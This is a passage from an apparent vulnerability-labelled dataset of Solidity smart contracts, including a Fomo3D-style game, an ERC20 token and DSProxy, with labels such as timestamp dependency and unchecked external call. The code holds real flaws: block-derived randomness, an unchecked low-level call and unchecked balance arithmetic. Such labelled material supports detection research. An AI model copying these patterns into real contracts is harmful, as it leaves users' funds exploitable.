(_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _mkt = (_pot.mul(potSplit_[_winTID].marketing)) / 100; uint256 _res = ((_pot.sub(_win)).sub(_com)).sub(_gen).sub(_mkt); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_mkt); if (!owner.send(_com)) { _com = 0; _res = _res.add(_com); } round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.mktAmount = _mkt; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked((block.timestamp).add(block.difficulty).add((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add(block.gaslimit).add((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add(block.number)))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _com = _com.add(_aff); } uint256 _mkt = _eth.mul(fees_[_team].marketing) / 100; _com = _com.add(_mkt); owner.transfer(_com); _eventData_.mktAmount = _mkt; return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); uint256 cut = (fees_[_team].marketing).add(13); _eth = _eth.sub(_eth.mul(cut) / 100); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) { _gen = _gen.sub(_dust); } round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.mktAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public onlyOwner { require(activated_ == false, ""fomo3d already activated""); activated_ = true; rID_ = 1; round_[1].strt = now; round_[1].end = now + rndInit_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 mktAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 marketing; } struct PotSplit { uint256 gen; uint256 marketing; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } }",./Dataset/timestamp dependency (TP)/,6,6 34456.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function distributeToken(address[] addresses, uint256 _value) { for (uint i = 0; i < addresses.length; i++) { balances[msg.sender] -= _value; balances[addresses[i]] += _value; Transfer(msg.sender, addresses[i], _value); } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { totalSupply = 12 * 10 ** 24; balances[msg.sender] = totalSupply; // Give the creator all initial tokens (100000 for example) name = ""EETHER""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""EETHER""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 25335.sol," pragma solidity ^0.4.13; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() public { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } contract DSProxy is DSAuth, DSNote { DSProxyCache public cache; function DSProxy(address _cacheAddr) public { require(setCache(_cacheAddr)); } function() public payable { } function execute(bytes _code, bytes _data) public payable returns (address target, bytes32 response) { target = cache.read(_code); if (target == 0x0) { target = cache.write(_code); } response = execute(target, _data); } function execute(address _target, bytes _data) public auth note payable returns (bytes32 response) { require(_target != 0x0); assembly { let succeeded := delegatecall(sub(gas, 5000), _target, add(_data, 0x20), mload(_data), 0, 32) response := mload(0) switch iszero(succeeded) case 1 { revert(0, 0) } } } function setCache(address _cacheAddr) public auth note returns (bool) { require(_cacheAddr != 0x0); cache = DSProxyCache(_cacheAddr); return true; } } contract DSProxyCache { mapping(bytes32 => address) cache; function read(bytes _code) public view returns (address) { bytes32 hash = keccak256(_code); return cache[hash]; } function write(bytes _code) public returns (address target) { assembly { target := create(0, add(_code, 0x20), mload(_code)) switch iszero(extcodesize(target)) case 1 { revert(0, 0) } } bytes32 hash = keccak256(_code); cache[hash] = target; } }",./Dataset/ether frozen (EF),2,2 1279.sol,"pragma solidity ^0.4.24; /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } /* * NameFilter library */ library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** interface : PlayerBookReceiverInterface */ interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } /** contract : PlayerBook */ contract PlayerBook{ /****************************************************************************************** 导入的库 */ using SafeMath for *; using NameFilter for string; /****************************************************************************************** 